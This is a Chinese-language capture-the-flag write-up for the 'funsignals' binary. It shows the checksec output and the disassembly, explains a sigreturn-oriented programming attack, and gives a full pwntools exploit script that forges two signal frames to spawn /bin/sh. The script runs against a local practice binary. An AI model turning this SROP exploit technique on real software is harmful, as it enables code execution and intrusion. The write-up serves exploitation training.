相关资源

文件分析

1
2
3
4
5
6
7
8
$ checksec ./funsignals
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x10000000)
Stack: Executable
RWX: Has RWX segments

代码分析

就是几行汇编代码 第一次syscall 读取标准输入到栈上 第二次syscall 触发sigreturn 明显SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.shellcode:10000000     _shellcode segment byte public 'CODE' use64
.shellcode:10000000 assume cs:_shellcode
.shellcode:10000000 ;org 10000000h
.shellcode:10000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.shellcode:10000000
.shellcode:10000000 public _start
.shellcode:10000000 _start:
.shellcode:10000000 xor eax, eax
.shellcode:10000002 xor edi, edi
.shellcode:10000004 xor edx, edx
.shellcode:10000006 mov dh, 4
.shellcode:10000008 mov rsi, rsp
.shellcode:1000000B syscall ; LINUX - sys_read
.shellcode:1000000D xor edi, edi
.shellcode:1000000F push 0Fh
.shellcode:10000011 pop rax
.shellcode:10000012 syscall ; LINUX - sys_rt_sigreturn
.shellcode:10000014 int 3 ; Trap to Debugger
.shellcode:10000015
.shellcode:10000015 syscall: ; LINUX -
.shellcode:10000015 syscall
.shellcode:10000017 xor rdi, rdi
.shellcode:1000001A mov rax, 3Ch ; '<'
.shellcode:10000021 syscall ; LINUX - sys_exit
.shellcode:10000021
.shellcode:10000021 ; ---------------------------------------------------------------------------
.shellcode:10000023 flag db 'fake_flag_here_as_original_is_at_server',0
.shellcode:10000023 _shellcode ends

攻击方法

通过vmmap可以看到.shellcode段权限为RWX 可以构造SROP链

第一次置rsp = 0x10000030, rip = start 则 sigreturn 之后栈顶指向0x10000030 并且再次回到start执行读取操作

第二次发送置rax = 0x3b (execve), rdi = &"/bin/sh", rsi = 0, rdx = 0, rsp = 0x10000030, rip = 0x1000000b (syscall) 这次sigreturn后跳转至syscall执行execve

这里/bin/sh地址计算: 栈顶存放sigReturnFrame 结构体0xf0, 随后跟上binsh 偏移即为 0xf8

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='amd64', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

context.terminal = ["tmux", "splitw", "-h"]
proc = process("./funsignals")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

gscript = '''
b * 0x10000000
''' + 'c\n' * 1
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

start = 0x10000000
new_stack = 0x10000030
syscall = 0x1000000b

f = SigreturnFrame()
f.rip = start
f.rsp = new_stack

s(bytes(f))

f = SigreturnFrame()
f.rax = 59
f.rdi = new_stack + 0xf8
f.rip = syscall
f.rsp = new_stack
f.rsi = 0
f.rdx = 0

sleep(1)
s(bytes(f) + b'/bin/sh\x00')

pi()
pause()
⬆︎TOP